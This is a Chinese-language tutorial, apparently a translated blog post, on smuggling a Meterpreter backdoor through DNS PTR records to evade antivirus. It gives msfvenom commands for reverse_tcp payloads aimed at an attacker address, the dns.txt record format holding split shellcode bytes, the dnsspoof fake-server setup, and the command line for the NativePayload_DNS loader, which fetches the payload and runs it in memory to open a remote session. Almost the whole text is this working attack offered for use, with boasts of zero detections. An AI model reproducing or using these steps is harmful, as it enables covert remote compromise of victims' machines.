通過DNS傳輸后門來繞過殺軟
前言
在本篇文章里，我想解釋怎么樣不使用加密數(shù)據(jù)的方法也能繞過殺軟，同時我也想在github上分享源代碼。https://github.com/DamonMohammadbagher/NativePayload_DNS
我想使用DNS協(xié)議來傳輸我的后門載荷，從攻擊者的機器到客戶端機器。這種情況下，我們的后門代碼就不需要是硬編碼的或者加密的了。
因此被殺軟檢測出來的風(fēng)險就很低了。
為什么是DNS協(xié)議?
因為在大多數(shù)的網(wǎng)絡(luò)里DNS流量都是有效的，IPS/IDS或者硬件防火墻都不會監(jiān)控和過濾DNS流量。我知道你可以使用SNORT IPS/IDS或者類似的東西來檢測DNS流量，但是在DNS流量里使用特征檢測出新的載荷非常困難。當(dāng)然網(wǎng)絡(luò)管理員也有可能這么做。
本篇文章我想給你展示一個在DNS的請求和回應(yīng)流量里隱藏你的載荷的方法。
漏洞點在哪兒呢?
如果你想要在后門文件中利用非加密或者無硬編碼的攻擊負(fù)荷，比如現(xiàn)在這種情況，你需要利用像http,DNS ...這樣的網(wǎng)絡(luò)協(xié)議把攻擊負(fù)荷從你的系統(tǒng)傳送到目標(biāo)機上。這種情況下，我們想通過DNS協(xié)議傳送攻擊負(fù)荷，并同時在目標(biāo)機器的內(nèi)存里執(zhí)行這些攻擊載荷。因此漏洞點在于攻擊載荷的位置，還在于殺軟檢測惡意樣本的方式。因為在這種情況下，我們不會保存攻擊載荷到文件系統(tǒng)，載荷只是在內(nèi)存里，流量里。
很不幸運的是，各種殺軟為檢測惡意代碼，監(jiān)控網(wǎng)絡(luò)流量，監(jiān)控及掃描內(nèi)存的，卻不是很有效。甚至大多數(shù)殺軟不管是否有IPS/IDS特性，都是根本無效的。
例子：后門載荷隱藏在擁有PTR記錄和A記錄的DNS域中。
圖 1：DNS域(IP地址到DNS全稱域名)
注：圖片一的紅色翻譯：
第一行：Meterpreter載荷的第一行數(shù)據(jù) {載荷}.1.com
左下方：時間設(shè)置，后門核心代碼每十分鐘重連一次攻擊者，每5分鐘建立一次連接。1.1.{10}.{5}
右下方：繞過比如像Snort對DNS流量的基于特征檢測攻擊載荷的好辦法(可能);-)，拆分攻擊載荷到1-5記錄。你可以利用NSLOOKUP來還原這些記錄，每隔一段時間比如(每2分鐘：獲取一個記錄)
正如你所見，這個DNS域中，我有兩個很像是全稱域名的PTR類型的記錄，隱藏了Meterpreter載荷。還有兩個PTR類型的記錄保存了后門重連的時間設(shè)置，還有一個A類型的記錄也是保存了時間設(shè)置。
拆分載荷數(shù)據(jù)到記錄! 如果你想繞過防火墻或者IPS/IDS對DNS流量的基于特征的檢測。
拆分的一個好辦法是，把你的攻擊載荷拆分到PTR類型的DNS記錄里，或者其他你可以加密載荷并使用的協(xié)議里。這取決于你和你的目標(biāo)網(wǎng)絡(luò)。
正如圖1里，我把Meterpreter載荷的第一行數(shù)據(jù)拆分到5個記錄里。因此這些記錄里的載荷等于記錄1.1.1.0。
例子: 1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0。
在客戶端，你可以使用其他的工具或者技術(shù)，從假冒的DNS服務(wù)器獲取還原出這些載荷。不過，我打算利用NSLOOKUP命令行實時獲取，因為我覺得這比較簡單。
在圖片2，我嘗試用NSLOOKUP工具測試假冒的DNS服務(wù)器到客戶端的DNS流量。
圖片2：Nslookup命令及DNS流量測試。
注：圖2里的紅色翻譯如下：Meterpreter載荷通過DNS協(xié)議傳輸?shù)牧髁俊，F(xiàn)在怎么檢測呢?有思路嗎?
現(xiàn)在我要講下，怎么樣在Linux里創(chuàng)建假冒的DNS服務(wù)器，以及Meterpreter載荷如何保存拆分到DNS記錄。最后我要利用我的工具NativePayload_DNS.exe來執(zhí)行這些載荷，并得到一個Meterpreter連接會話。
步驟1:一步步的創(chuàng)建擁有Meterpreter載荷的假冒DNS服務(wù)器：
本步驟中，你可以利用Msfvenom創(chuàng)建一個Meterpreter載荷，像圖片4中那樣。并把載荷一行一行的拷貝到dns.txt文件中，然后利用DNSSpoof在Kali Linux中創(chuàng)建一個假冒的DNS服務(wù)器。
不過我首先展示EXE模式的Meterpreter載荷，并用所有的殺軟測試，然后你會發(fā)現(xiàn)絕大多數(shù)殺軟都可以檢測出來。
為什么我要展示著一點呢?
因為我想表明給你看，同一個攻擊載荷，用兩種技術(shù)，一是EXE模式，二是DNS傳輸。你會看到殺軟可以檢測出EXE模式的載荷，但是不能檢測出利用第二個技術(shù)”DNS傳輸”的載荷。但我們知道這兩種方法是同一個載荷。
例子1 , EXE模式的載荷: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f exe > /root/Desktop/payload.exe
下邊圖3你會看到，我的EXE模式的載荷被11款殺軟檢測出來了。
圖3：EXE模式的載荷被檢測出來了。
好了，現(xiàn)在該用第二種技術(shù)了，生成載荷時使用了C類型。
例2 , 第二種技術(shù)DNS流量: msfvenom –-platform windows –arch x86_64 –p windows/x64/meterpreter/reverse_tcp lhost=192-168-1-50 –f c > /root/Desktop/payload.txt
生成payload.txt文件后，必須把載荷拷貝到dns.txt，按照圖4里的格式，一行一行的拷貝。這非常重要，必須保證dns.txt有正確的格式。因為Linu里的Dnsspoof要用到，格式如下：
- IP地址 “{載荷}.域.com”
- 1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
- 1.1.1.1“0xbc0xc80x130xff0x100x08.1.com”
在這種情況下，因為我的C#后門定制化的用到了域名"1.com"，我們必須使用這個名稱作為域名。或者像其他"2.com"，"3.net"，"t.com"，再或者一個字符加".com"作為域名。
所以在這種情況下，IP地址” 1.1.1.x” 里的x就是dns.txt文件里的載荷行數(shù)，
- 1.1.1.0 --> payload.txt里的0行 --> “{載荷0}.1.com”
- 1.1.1.1 --> payload.txt里的1行 --> “{載荷1}.1.com”
- 1.1.1.2 --> payload.txt里的2行 --> “{載荷2}.1.com”
圖4：生成假冒的DNS服務(wù)器和Meterpreter載荷的步驟1
生成后的dns.txt文件應(yīng)該如下圖5。
圖5：dnsspoof用來假冒DNS服務(wù)器的Dns.txt文件
好了，現(xiàn)在利用dnsspoof在Linux里生成假冒的DNS服務(wù)器，像下圖6一樣。
圖6：dnsspoof工具
在步驟2中，我們需要一個后門，從假冒的DNS服務(wù)器下載攻擊載荷，利用的是DNS協(xié)議。
在這種情況下，我編寫了C#代碼來干這件事。我的代碼里使用了nslookup.exe發(fā)送DNS請求，最終我的代碼捕獲到了DNS PTR類型回應(yīng)里的后門載荷。
C# 源代碼鏈接: https://github.com/DamonMohammadbagher/NativePayload_DNS
步驟2：
源代碼編譯后，生成的exe，按照如下的命令語法執(zhí)行：
命令語法: NativePayload_DNS.exe “起始IP地址” 計數(shù) “假冒DNS服務(wù)器IP地址”
例如: C:\> NativePayload_DNS.exe “1.1.1.” 34 “192.168.1.50”
起始IP地址：是你PTR記錄里的第一個IP地址，不包含最后一節(jié)。對于域名ID { 1 . 1 . 1 . }你需要輸入三個1.作為參數(shù)。
計數(shù)：是DNS PTR類型記錄的個數(shù)，在這種情況下，我們dns.txt 文件里的1.1.1.0 …. 1.1.1.33，所以這個計數(shù)是34。
假冒DNS服務(wù)器IP地址：是我們或者說是攻擊者的假冒的DNS服務(wù)器IP地址，在這種情況下，我們的kali linux ip地址是192-168-1-50。
在執(zhí)行后門之前，你要記住，必須確保kali linux里的Metasploit監(jiān)聽在IP地址192-168-1-50。
現(xiàn)在你可以像圖7一樣執(zhí)行后門了：
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
圖7：NativePayload_DNS 工具
正如圖7里，后門嘗試發(fā)送DNS請求IP地址1.1.1.x，并得到了PTR或者FQDN類型記錄的回應(yīng)。在下一張圖里，你會發(fā)現(xiàn)客戶端和假冒DNS服務(wù)器之間的網(wǎng)絡(luò)流量。
圖8：利用DNS流量傳送Meterpreter載荷
最終34個記錄倒計時完成之后，你會在攻擊者那端得到一個Meterpreter連接會話，像圖9里的。而且不幸的是，我的殺軟沒檢測出來這種技術(shù)。我認(rèn)為大多數(shù)的殺軟都無法檢測出來，如果你用其他殺軟測試了這個技術(shù)，請在評論里留言告訴我結(jié)果，還有哪款殺軟和版本;)。謝謝你伙計。
圖9：利用DNS協(xié)議的Meterpreter會話連接
你會看到我的殺軟再一次被繞過了;-)，這是用所有殺軟掃描我的源代碼的結(jié)果，你可以比較圖3和圖10。兩個后門使用同樣的載荷。
圖 10: NativePayload_DNS (AVs結(jié)果 = 0 被檢測)
下張圖你會看到C#源代碼使用了NSLOOKUP工具的背后究竟發(fā)生了什么。
圖11：Nslookup 和 UDP連接
最終你會在tcpview和putty里看到我的Meterpreter會話，見下圖：
圖12：Tcpview以及TCP有效連接，當(dāng)后門載荷被從假冒的DNS服務(wù)器下載下來后。
在圖13里，你同樣可以看到Meterpreter會話：
圖13：Meterpreter會話。
一目了然：你不能相信殺軟總是可以防范網(wǎng)絡(luò)中攻擊載荷的傳輸，如果通過這種技術(shù)或者其他的方法來傳送攻擊載荷的話，哪怕是使用其他協(xié)議。你的網(wǎng)絡(luò)和客戶端/服務(wù)器是很脆弱的。所以請用你自己的殺軟測試這個技術(shù)，并分享你的經(jīng)驗，在評論里留言告訴我(也許這件事我說錯了，也許沒有)。
